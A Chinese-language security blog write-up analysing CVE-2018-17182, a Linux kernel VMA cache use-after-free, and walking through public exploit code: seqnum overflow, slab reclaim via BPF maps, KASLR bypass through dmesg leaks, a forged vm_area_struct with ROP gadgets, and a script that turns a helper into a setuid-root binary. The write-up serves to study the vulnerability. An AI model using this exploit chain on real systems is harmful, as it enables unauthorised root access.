CVE-2018-17182 VMA use-after-free 详解

阅读量    55726 | 评论 10   稿费 300

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

漏洞分析

内核在3.16版本之后对vma的查找进行了优化:https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=615d6e8756c87149f2d4c1b93d471bca002bd849

新的vma缓存机制

在task_struct中加入了一个vmacache数组和一个32位的vmacache_seqnum值。在mm_struct结构中加入了一个32位vmacache_seqnum值,并且在此基础上定义了一系列操作函数

vmacache_invalidate函数,用来将mm_struct的vmacache_seqnum加一,使其不等于当前线程的current->vmacache_seqnum。

vmacache_find
更新了vma_find函数,在这个位置会调用vmacache_find

vmacache_find
vmacache_find检索当前线程的vmacache缓存数组,如果地址范围在其中某一个vma的地址范围中,直接返回这个vma,不需要再进行红黑树检索
vmacache_find还会调用vmacache_valid,在其中会检查current->vmacache_seqnum是否等于current->mm->vmacache_seqnum,如果之前有过调用vmacache_invalidate,在这里会直接去调用vmacache_flush函数,刷新task_struct的vmacache链表之后会返回null。

vmacache_find函数在返回null后,vma_find会再去搜索红黑树找到合适的vma。找到vma之后,调用vmacache_update
vmacache_update会将找到的vma加入当前线程的vmacache缓存数组中

漏洞具体位置

但是这个32位的值是可以被溢出的,于是在vmacache_invalidate中会有溢出的检查,如果回到0,就会刷新vmacache缓存数组。
本来这套机制是没有问题的,但是溢出后每次刷新线程的vmacache数组都需要遍历所有线程,太耗费时间

于是又发布了一次新的更新,如果是单线程的话不用对其刷新,直接返回。

但是这样就存在一个问题,如果在溢出之后,在调用vmacache_valid之前,立即申请一个新线程。这个时候之前的单线程的current->vmacache_seqnum仍然为0xffffffff,并没有更新为0。因为线程虽然没一个线程都有一个单独的task_struct,但是是共享同一个mm_struct的,这个时候在另一个新创建的线程之中将mm_struct的seqnum刷新为0xffffffff,在先前的但线程中就可以利用其vmacache数组里面已经释放了的vma,实现use after free。

我们再来看看mmap和munmap函数是如何改变seqnum的值。

也就是说,调用munmap去解除vma映射的时候,会调用vmacache_invalidate将相应的mm_struct的seqnum增加1。并且最后会调用
kmem_cache_free(vm_area_cachep, vma)将对应的vm_area_struct free掉使其回到slab分配器的free list。

并且再mummap开始的时候会调用find_vma,这会更新vmacache或者是刷新它。

再来看mmap函数:在其中会调用mmap_region,然后调用

其中会调用vm_area_alloc,在其中调用kmem_cache_zalloc()。这个函数主要用于向内核的slab分配器分配专门大小的object。

 

漏洞利用

现在我们结合着漏洞发现者在github上贴出的具体的漏洞利用代码去分析一下具体的利用过程。

漏洞利用代码https://github.com/jas502n/CVE-2018-17182

我们首先将作者的代码定义的每个函数具体功能进行分析,之后结合漏洞进行总体的串联

漏洞发现者的利用代码实现了一套ioctl系统来辅助漏洞的利用,其中关键的cmd是DMESG_DUMP用来调用vmacache_debug_dump()实现dump当前mm结构的信息,SEQUENCE_BUMP,用来更新当前线程mm_struct的seqnum。

  case DMESG_DUMP: {
  vmacache_debug_dump();
  return 0;
} break;
case SEQUENCE_BUMP: {
  current->mm->vmacache_seqnum += arg;
  return 0;
} break;`

vmacache_debug_dump():

void vmacache_debug_dump(void)
{
 struct mm_struct *mm = current->mm;
 struct task_struct *g, *p;
 int i;

 pr_warn("entering     vmacache_debug_dump(0x%lx)n", (unsigned long)mm);
 pr_warn("  mm sequence: 0x%xn", mm->vmacache_seqnum);
 rcu_read_lock();
 for_each_process_thread(g, p) {
   if (mm == p->mm) {
     pr_warn("  task 0x%lx at 0x%x%sn", (unsigned long)p,
   p->vmacache.seqnum,
   (current == p)?" (current)":"");
 pr_warn("    cache dump:n");
 for (i=0; i<VMACACHE_SIZE; i++) {
   unsigned long vm_start, vm_end, vm_mm;
   int err = 0;

   pr_warn("      0x%lxn",
     (unsigned long)p->vmacache.vmas[i]);
   err |= probe_kernel_read(&vm_start,
     &p->vmacache.vmas[i]->vm_start,
     sizeof(unsigned long));
   err |= probe_kernel_read(&vm_end,
     &p->vmacache.vmas[i]->vm_end,
     sizeof(unsigned long));
   err |= probe_kernel_read(&vm_mm,
     &p->vmacache.vmas[i]->vm_mm,
     sizeof(unsigned long));
   if (err)
     continue;
   pr_warn("        start=0x%lx end=0x%lx mm=0x%lxn",
     vm_start, vm_end, vm_mm);
     }
   }
 }

再看puppet.c
首先我们有一个全局变量sequence_mirror,用于标记mm_struct的seqnum的值

static void sequence_double_inc(void) {
    mmap(FAST_WRAP_AREA + PAGE_SIZE, PAGE_SIZE, PROT_RW, MAP_PRIV_ANON|MAP_FIXED, -1, 0);
    sequence_mirror += 2;
}
static void sequence_inc(void) {
    mmap(FAST_WRAP_AREA, PAGE_SIZE, PROT_RW, MAP_PRIV_ANON|MAP_FIXED, -1, 0);
    sequence_mirror += 1;
}

这两个函数分别用于将mm_struct->vmacache_seqnum的值分别增加2和1。具体的原理是 首先在main函数中创建一个三个页的匿名映射。之后通过带有MAP_FIXED的mmap去申请第一页或者中间页的映射。如果是中间页,则会munmap开头和结尾两页,造成seqnum的两次递增。之后再进行合并。同理,开头一页的话则会造成一次递增。

static void sequence_target(long target) {
    while (sequence_mirror + 2 <= target)
        sequence_double_inc();
    if (sequence_mirror + 1 <= target)
        sequence_inc();
}

这个函数用于将sequence_mirror递增到指定值。

再来说说利用代码里面的进程之间通信的机制:

int control_event_fd = eventfd(0, EFD_SEMAPHORE);
if (control_event_fd == -1) err(1, "eventfd");
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, control_fd_pair))
    err(1, "socketpair");
pid_t child = fork();
if (child == -1) err(1, "fork");
if (child == 0) {
    prctl(PR_SET_PDEATHSIG, SIGKILL);
    close(kmsg_fd);
    close(control_fd_pair[0]);
    if (dup2(control_fd_pair[1], 0) != 0) err(1, "dup2");
    close(control_fd_pair[1]);
    if (dup2(control_event_fd, 1) != 1) err(1, "dup2");
    execl("./puppet", "puppet", NULL);
    err(1, "execute puppet");
}
close(control_fd_pair[1]);

int bpf_map = recvfd(control_fd_pair[0]);

分别创建了eventfd和socketpair。并切将其重新定向为0和1。前者用于将子进程阻塞,在主进程中实现了将fake vma伪造完后发送信号让子进程继续去触发缺页异常,从而实现对控制流控制。后者定义了双向的套接字,用于将我们申请的bpf_map传回。bpf_map会在后文进行分析。

现在我们具体分析漏洞利用流程

在main函数中,我们在实现一系列初始化之后创建子进程,并在其中

execl("./puppet", "puppet", NULL);

在puppet中,我们首先申请一个三页的mmap匿名映射,用于增加mm—>vmacache_seqnum。

之后在不创建线程的前提下先将mm的seqnum更新为0x100000000L – VMA_SPAM_COUNT/2

sequence_cheat_bump(0xffff0000L);
sequence_target(0x100000000L - VMA_SPAM_COUNT/2);

之后我们申请5000个mmap映射,根据之前的分析,在slab分配器中也分配了5000个vm_area_struct。

for (unsigned long i=0; i<VMA_SPAM_COUNT; i++) {
    mmap(VMA_SPAM_AREA + i * VMA_SPAM_DELTA, PAGE_SIZE, PROT_RW, MAP_PRIV_ANON, -1, 0);
}

紧接着我们mummap VMA_SPAM_COUNT/2个映射。释放了5000个vm_area_struct到slab的freelist上。这时,mm->vmacache_seqnum已经被溢出变成了0。而且current->vmacache缓存数组保存着我们最后一次mummap所释放的vma结构。由于是但线程,所以并没有flush vmacache数组给了我们use after free的条件。

for (unsigned long i=0; i<VMA_SPAM_COUNT/2; i++) {
    munmap_noadjacent(VMA_SPAM_AREA + i * VMA_SPAM_DELTA, PAGE_SIZE);
}

之后,我们在没有调用任何vma_find的情况下,马上申请新的线程,在新线程中:
我们首先munmap掉5000个映射,也就是释放了5000个vma struct,这样,我们会将整个的vma slab全部变成free,从而将这个slab 释放回伙伴系统。

for (unsigned long i=VMA_SPAM_COUNT/2; i<VMA_SPAM_COUNT; i++) {
    munmap_noadjacent(VMA_SPAM_AREA + i * VMA_SPAM_DELTA, PAGE_SIZE);
}

之后们通过bpf map,将包含着我们主线程vmacache缓存数组中没有flush的vma结构的一整页全部申请出来,这样就可以通过bpf map去修改还没有flush的vma结构。之后我们触发一个缺页异常,回在主线程中调用我们的这个vma结构中的异常处理程序,从而实现执行流程的劫持。

struct bpf_map_create_args bpf_arg = {
    .map_type = 2,
    .key_size = 4,
    .value_size = 0x1000,
    .max_entries = 1024
};
int bpf_map = syscall(321, 0, (unsigned long)&bpf_arg, sizeof(bpf_arg), 0, 0, 0);

sendfd(0, bpf_map);

再来看bpf的特性:bpf会将分配的内存清空。这个特性正好帮助我们触发warn_on_once,以此来将信息dump到dmesg中,方便我们读取。
bpf具体的用法:
调用syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr))申请创建一个map,在attr结构体中指定map的类型、大小、最大容量等属性。
之后通过bpf函数带BPF_MAP_UPDATE_ELEM参数去更新内存的内容。

如何绕过kaslr?

如果写入eventfd将会触发usercopy,使R8仍然包含指向eventfd_fops结构的指针

syscall(1, sync_fd, 0x7fffffffd000, 8, 0, 0, 0);

并且我们通过vmacache_find()去搜索0x7fffffffd000是否在我们的vmacache缓存中。

我们来看4.18的vmacache_find函数
首先查看vma是否为null,因为我门之前的一系列工作,vma非空。之后warn_on_once,因为我们的bpfmap的申请已经把整页清零,所以这里一定会触发WARN_ON_ONCE(),仅会在第一次触发时打印调试信息,并且继续执行。因此这里的vma仅仅会返回null,并且回到红黑树查找,并不会将系统崩溃。如此,我们可以获得dmesg的各种调试信息。

vma的地址在rax中,mm_struct的地址位于rdi中,同时还有r8中泄漏的eventfd_fops用来绕过kaslr。

while (1) {
    char *ptr;
    int res = read(kmsg_fd, buf, sizeof(buf)-1);
    if (res <= 0) err(1, "unexpected kmsg end");
    buf[res] = '';
    if (state == 0 && strstr(buf, "WARNING: ") && strstr(buf, " vmacache_find+")) {
        state = 1;
        printf("got WARNINGn");
    }
    if (state == 1 && (ptr = strstr(buf, "RSP: 0018:"))) {
        rsp = strtoul(ptr+10, NULL, 16);
        printf("got RSP line: 0x%lxn", rsp);
    }
    if (state == 1 && (ptr = strstr(buf, "RAX: "))) {
        vma_kaddr = strtoul(ptr+5, NULL, 16);
        printf("got RAX line: 0x%lxn", vma_kaddr);
    }
    if (state == 1 && (ptr = strstr(buf, "RDI: "))) {
        mm = strtoul(ptr+5, NULL, 16);
        printf("got RDI line: 0x%lxn", mm);
    }
    if (state == 1 && strstr(buf, "RIP: 0010:copy_user_generic_unrolled")) {
        state = 2;
        printf("reached WARNING part 2n");
    }
    if (state == 2 && (ptr = strstr(buf, "R08: "))) {
        eventfd_fops = strtoul(ptr+5, NULL, 16);
        printf("got R8 line: 0x%lxn", eventfd_fops);
        state = 3;
    }
    if (state > 0 && strstr(buf, "---[ end trace"))
        break;
}

rop chain

利用我们之前通过dmesg泄漏的地址,最终我们需要伪造一个vma结构,其中的几个关键点是:vm_start和vm_end,vm_start必须设置0x7fffffffd000或者是随便一块没有被映射的区域,这样我们在解应用这块区域去触发页错误的时候,我们会找到我们伪造的vma。

第二个关键点是vm_ops,我们将会在子进程中调用eventfd来阻塞,直到我们在将fake vma写入到我们的bpf之后,在阻塞完毕之后,主进程再次阻塞。这个时候我们的子进程解引用一个没有建立页表映射的内存位置,触发缺页异常。因为我们之前已经伪造了vm_start,这个时候我们会触发 __do_fault函数,在其中调用我们伪造的vma的vm_ops的falut函数。
我们仔细来看伪造的vm_area_struct和payload。

char kernel_cmd[8] = "/tmp/%1";
struct vm_area_struct fake_vma = {
    .vm_start = 0x7fffffffd000,
    .vm_end = 0x7fffffffe000,
    .vm_rb = {
        .__rb_parent_color =
            (eventfd_fops-0xd92ce0), //run_cmd: 0xffffffff810b09a0
        .rb_right = vma_kaddr
            + offsetof(struct vm_area_struct, vm_rb.rb_left)
        /*rb_left reserved for kernel_cmd*/
    },
    .vm_mm = mm,
    .vm_flags = VM_WRITE|VM_SHARED,
    .vm_ops = vma_kaddr
        + offsetof(struct vm_area_struct, vm_private_data)
        - offsetof(struct vm_operations_struct, fault),
    .vm_private_data = eventfd_fops-0xd8da5f,
    .shared = {
        .rb_subtree_last = vma_kaddr
            + offsetof(struct vm_area_struct, shared.rb.__rb_parent_color)
            - 0x88,
        .rb = {
            .__rb_parent_color = eventfd_fops-0xd9ebd6
        }
    }
};

vm_ops的位置是

    .vm_ops = vma_kaddr
        + offsetof(struct vm_area_struct, vm_private_data)
        - offsetof(struct vm_operations_struct, fault),

vma_kaddr的值就是我们通过dmesg获得的已经失效的vma缓存的地址,也就是我们将要通过bpf伪造的vma,这样的话我们调用vm->vm_ops->fault就是等于调用了 vma_kaddr + offsetof(struct vm_area_struct, vm_private_data),而这个值在我们伪造的vma中是vm_private_data,我们已经将其伪造成了内核rop:

ffffffff810b5c21: 49 8b 45 70           mov rax,QWORD PTR [r13+0x70]
ffffffff810b5c25: 48 8b 80 88 00 00 00  mov rax,QWORD PTR [rax+0x88]
ffffffff810b5c2c: 48 85 c0              test rax,rax
ffffffff810b5c2f: 74 08                 je ffffffff810b5c39
ffffffff810b5c31: 4c 89 ef              mov rdi,r13
ffffffff810b5c34: e8 c7 d3 b4 00        call ffffffff81c03000 <__x86_indirect_thunk_rax>

<__x86_indirect_thunk_rax>就是等于是 call rax,而rax的值是r13+0x88,r13的值就是我们伪造的vma的地址。也就是call vma struct+0x88的位置,

在这个位置是

.rb = {
            .__rb_parent_color = eventfd_fops-0xd9ebd6
        }

我们放上来另一个内核rop

ffffffff810a4aaa: 48 89 fb              mov rbx,rdi
ffffffff810a4aad: 48 8b 43 20           mov rax,QWORD PTR [rbx+0x20]
ffffffff810a4ab1: 48 8b 7f 28           mov rdi,QWORD PTR [rdi+0x28]
ffffffff810a4ab5: e8 46 e5 b5 00        call  ffffffff81c03000<__x86_indirect_thunk_rax>

这里我们将call vma+0x20,参数是vma+0x28,我们已经在结构中伪造了将vma+0x20是run_cmd,vma+0x28也就是vm_rb.rb_left的值是”/tmp/%1”
而这里面我们早就写入了

    char *suid_tmpl = "#!/bin/shn"
              "chown root:root ./suidhelpern"
              "chmod 04755 ./suidhelpern"
              "while true; do sleep 1337; donen";

这样直接给suidhelper以root权限。

之后我们伪造一个fake page,offset的值是

    if (offset + sizeof(fake_vma) <= 0x1000) {
    memcpy(fake_vma_page + offset, &fake_vma, sizeof(fake_vma));
} else {
    size_t chunk_len = 0x1000 - offset;
    memcpy(fake_vma_page + offset, &fake_vma, chunk_len);
    memcpy(fake_vma_page, (char*)&fake_vma + chunk_len, sizeof(fake_vma) - chunk_len);
}

offset的值我们通过

long offset = (vma_kaddr - 0x90/*compensate for BPF map header*/) & 0xfff;

得倒,因为我们要的是在这个页中的偏移位置,所以需要 &0xfff就是在这个页的偏移量。但是还需要减去0x90 bpf map header,因为bpf update的时候会自动加上偏移量。

这样我们需要的东西已经全部准备好,直接通过

bpf_(BPF_MAP_UPDATE_ELEM, &update_attr)

将伪造好的页写入到内核,即可将我们在vmacache中的vma覆盖掉。之后通过触发缺页异常去执行vm_ops->的fault,从而实现整个rop chain 的利用。之后我们的主进程虽然会崩溃掉,但是我们已经以root权限打开了新的可执行文件sulidhelper,在其中弹出一个shell,实现了内核态的提权。

 

参考链接

https://googleprojectzero.blogspot.com/2018/09/a-cache-invalidation-bug-in-linux.html

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多